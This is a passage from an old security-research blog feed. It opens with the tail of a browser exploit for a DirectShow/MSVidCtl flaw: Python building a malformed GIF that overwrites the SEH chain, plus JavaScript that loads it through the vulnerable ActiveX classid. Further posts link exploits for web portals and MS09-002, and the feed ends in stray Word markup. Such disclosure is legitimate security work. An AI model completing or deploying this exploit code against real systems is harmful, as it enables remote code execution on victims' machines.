gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF&quot;</span>    <span style="color: #808080; font-style: italic;"># End of SEH chain</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span>    <span style="color: #808080; font-style: italic;"># SE Handler</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
&nbsp;
fp = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;directshow.gif&quot;</span>,<span style="color: #483d8b;">&quot;wb&quot;</span><span style="color: black;">&#41;</span>
fp.<span style="color: black;">write</span><span style="color: black;">&#40;</span>gif<span style="color: black;">&#41;</span>
fp.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> myObject<span style="color: #339933;">=</span>document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'object'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
DivID.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>myObject<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">width</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'1'</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">height</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'1'</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">data</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'directshow.gif;
// Vulnerable ID
myObject.classid='</span>clsid<span style="color: #339933;">:</span>0955AC62<span style="color: #339933;">-</span>BF2E<span style="color: #339933;">-</span>4CBA<span style="color: #339933;">-</span>A2B9<span style="color: #339933;">-</span>A63F772D46CF<span style="color: #3366CC;">';</span></pre></div></div>

<p style="text-align: center;"><img class="aligncenter" title="stack" src="http://i27.tinypic.com/ju7srl.png" alt="" width="538" height="323" /></p>
<p style="text-align: center;">here you can see overwritten SEH</p>
<p style="text-align: center;"><img class="aligncenter" title="Spray" src="http://i30.tinypic.com/b9g36d.png" alt="" width="503" height="233" />and here you can see Spared Heap</p>
<p style="text-align: center;">
<p style="text-align: center;"><img class="aligncenter" title="Shell" src="http://i32.tinypic.com/243546o.png" alt="" width="468" height="125" /></p>
<p style="text-align: center;">finally as you can see here we got a shell</p>
<p style="text-align: center;">
<p style="text-align: left;">using methods like java-script obfuscation and shirking variables can make this exploit more dangerous . and you can find this exploit at :</p>
<p style="text-align: left;">http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/browser/msvidctl_mpeg2.rb</p>
<p style="text-align: left;">and:</p>
<p style="text-align: left;">http://milw0rm.com/exploits/9108</p>
<p style="text-align: left;">Happy Hunting.</p>
<p style="text-align: left;">PS : i will try to have a technical post soon as soon possible</p>
<p style="text-align: left;">Cheers .</p>
<p style="text-align: left;">shahin</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>webapp Advisory + not dead just busy !!!</title>
		<link>http://www.abysssec.com/blog/2009/05/not-dead-just-busy/</link>
		<comments>http://www.abysssec.com/blog/2009/05/not-dead-just-busy/#comments</comments>
		<pubDate>Fri, 22 May 2009 07:50:24 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[adobe 0day]]></category>
		<category><![CDATA[adobe get icon]]></category>
		<category><![CDATA[dana]]></category>
		<category><![CDATA[douran]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[web application]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=331</guid>
		<description><![CDATA[hello to all of our dear reades . we are not dead , just really busy in doing our projects . but there is a few notes  I&#8217;d like to enclose with you  .first of all about 2 Web Based vulnerability we&#8217;ve report to milw0rm .  we haven&#8217;t free time to working on educational sources [...]]]></description>
			<content:encoded><![CDATA[<p>hello to all of our dear reades .</p>
<p>we are not dead , just really busy in doing our projects . but there is a few notes  I&#8217;d like to enclose with you  .first of all about 2 Web Based vulnerability we&#8217;ve report to milw0rm .  we haven&#8217;t free time to working on educational sources . and those vulnerability was special for us because those portal was commercial portals uses for our &#8220;government&#8221;  , &#8220;private&#8221; web sites. and we&#8217;ve report those for helping our autonomous applications .</p>
<p>by the way if you like to see those vulnerabilities here you are :</p>
<p>first <a class="style14" href="http://milw0rm.com/exploits/8718" target="_blank">DOURAN Portal &lt;= 3.9.0.23 Multiple Remote Vulnerabilities</a></p>
<p>second <a class="style14" href="http://milw0rm.com/exploits/8719" target="_blank">Dana Portal Remote Change Admin Password Exploit</a></p>
<p>third about <a href="http://milw0rm.com/exploits/8595">adobe</a> exploit my next  writeup will be about PDF hacking / exploiting stuff (soon) .</p>
<p>and finally about future :</p>
<p>we believe to &#8220;no more free bugs&#8221; so after reporting a few more vulnerabilities / exploit maybe we don&#8217;t report more transparent / reliable exploit (as past) . maybe just PoC&#8217;s or just papers or just advisories titles or &#8230; . but who knows ?!</p>
<p>then :</p>
<p>we will try to update site with respectable index and more post on our blogs but you should take our apology for our late and unfaithfulness .</p>
<p>and final note :</p>
<p>unfortunately for a few reasons we disabled  commenting system on blogs but feel free to contact us with our mails.</p>
<p>for now you can use admin [at] abysssec.com .</p>
<p>keep on to visit us .</p>
<p>hope to see you soon .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/05/not-dead-just-busy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MS09-002 Exploit</title>
		<link>http://www.abysssec.com/blog/2009/02/ms09-002-exploit/</link>
		<comments>http://www.abysssec.com/blog/2009/02/ms09-002-exploit/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 22:23:54 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[IE 0day]]></category>
		<category><![CDATA[IE Exploit]]></category>
		<category><![CDATA[internet explorer exploit]]></category>
		<category><![CDATA[ms09-002 exploit]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=308</guid>
		<description><![CDATA[hello to all readers i wrote this exploit 2 hour after publishing PoC on milw0rm but now there is a lots of mirror and version of this exploit on net ! maybe i release DEP-enabled / IE protection bypass version on variant os too . Anyway Here is the code : http://abysssec.com/blog/wp-content/uploads/2009/02/ms09-002-exploit.txt mirror : http://milw0rm.com/exploits/8079 [...]]]></description>
			<content:encoded><![CDATA[<p>hello to all readers</p>
<p>i wrote this exploit 2 hour after publishing PoC on milw0rm</p>
<p>but now there is a lots of mirror and version of this exploit on net !</p>
<p>maybe i release  DEP-enabled / IE protection bypass version on variant os too .</p>
<p style="text-align: center;"><img class="aligncenter" title="ms09-002 " src="http://www.abysssec.com/blog/wp-content/uploads/2009/02/ms09-002.png" alt="" width="500" height="342" /></p>
<p>Anyway Here is the code :</p>
<p><strong>http://abysssec.com/blog/wp-content/uploads/2009/02/ms09-002-exploit.txt</strong></p>
<p><strong>mirror : http://milw0rm.com/exploits/8079<br />
</strong></p>
<p>Cheers !!!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/02/ms09-002-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Format string exploitation on windows</title>
		<link>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/</link>
		<comments>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/#comments</comments>
		<pubDate>Mon, 02 Feb 2009 13:28:21 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[Format string]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[win32]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=278</guid>
		<description><![CDATA[Hello i know , i know i have a big absence about 2 month . but i,m back with a big update for you . a step by step article about exploiting format string vulnerabilities on windows platform. here is download link for this article : http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf feel free to send your questions to admin@abysssec.com&#124;NoSpam [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Hello</p>
<p style="text-align: left;">i know , i know i have a big absence about 2 month . but i,m back with a big update for you .</p>
<p style="text-align: left;">a step by step article about exploiting format string vulnerabilities on windows platform.</p>
<p><img class="alignnone" title="Format String" src="http://i44.tinypic.com/33w1ag8.jpg" alt="" width="560" height="320" /></p>
<p style="text-align: center;">
<p style="text-align: center;"><!--[if !mso]> <mce :style>< !  v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} --> <!--[endif]--><!--[if gte mso 9]><xml> <w :WordDocument> </w><w :View>Normal</w> <w :Zoom>0</w> <w :TrackMoves /> <w :TrackFormatting /> <w :PunctuationKerning /> <w :ValidateAgainstSchemas /> <w :SaveIfXMLInvalid>false</w> <w :IgnoreMixedContent>false</w> <w :AlwaysShowPlaceholderText>false</w> <w :DoNotPromoteQF /> <w :LidThemeOther>EN-US</w> <w :LidThemeAsian>X-NONE</w> <w :LidThemeComplexScript>AR-SA</w> <w :Compatibility> <w :BreakWrappedTables /> <w :SnapToGridInCell /> <w :WrapTextWithPunct /> <w :UseAsianBreakRules /> <w :DontGrowAutofit /> <w :SplitPgBreakAndParaMark /> <w :DontVertAlignCellWithSp /> <w :DontBreakConstrainedForcedTables /> <w :DontVertAlignInTxbx /> <w :Word11KerningPairs /> <w :CachedColBalance /> </w> <w :BrowserLevel>MicrosoftInternetExplorer4</w> <m :mathPr> <m :mathFont m:val="Cambria Math" /> <m :brkBin m:val="before" /> <m :brkBinSub m:val=" " /> <m :smallFrac m:val="off" /> <m :dispDef /> <m :lMargin m:val="0" /> <m :rMargin m:val="0" /> <m :defJc m:val="centerGroup" /> <m :wrapIndent m:val="1440" /> <m :intLim m:val="subSup" /> <m :naryLim m:val="undOvr" /> </m> </xml>< ![endif]--><!--[if gte mso 9]><xml> <w :LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w :LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w :LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w :LsdException Locked="false" Priority="39" Name="toc 1" /> <w :LsdException Locked="false" Priority="39" Name="toc 2" /> <w :LsdException Locked="false" Priority="39" Name="toc 3" /> <w :LsdException Locked="false" Priority="39" Name="toc 4" /> <w :LsdException Locked="false" Priority="39" Name="toc 5" /> <w :LsdException Locked="false" Priority="39" Name="toc 6" /> <w :LsdException Locked="false" Priority="39" Name="toc 7" /> <w :LsdException Locked="false" Priority="39" Name="toc 8" /> <w :LsdException Locked="false" Priority="39" Name="toc 9" /> <w :LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w :LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w :LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w :LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w :LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w :LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w :LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w :LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w :LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w :LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w :LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false"<br />
Name="Medium Shading 1 Accent 2" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name=<br />
"Colorful Grid Accent 6" /> <w :LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w :LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w :LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w :LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w :LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w :LsdException Locked="false" Priority="37" Name="Bibliography" /> <w :LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w> </xml>< ![endif]--><!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1107304683 0 0 159 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;} @font-face 	{font-family:Tahoma; 	panose-1:2 11 6 4 3 5 4 4 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-520082689 -1073717157 41 0 66047 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0in; 	margin-right:0in; 	margin-bottom:10.0pt; 	margin-left:0in; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-fareast-font-family:Calibri; 	mso-bidi-font-family:Arial;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	font-size:10.0pt; 	mso-ansi-font-size:10.0pt; 	mso-bidi-font-size:10.0pt; 	mso-ascii-font-family:Calibri; 	mso-fareast-font-family:Calibri; 	mso-hansi-font-family:Calibri; 	mso-bidi-font-family:Arial;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.0in 1.0in 1.0in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --><!--[if gte mso 10]> </mce><mce :style>< !   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi;} --> <!--[endif]--><span style="font-size: 14pt; line-height: 115%; font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;;"><!--[if gte vml 1]><v :shapetype  id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"  path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v :stroke joinstyle="miter" /> </v><v :formulas> <v :f 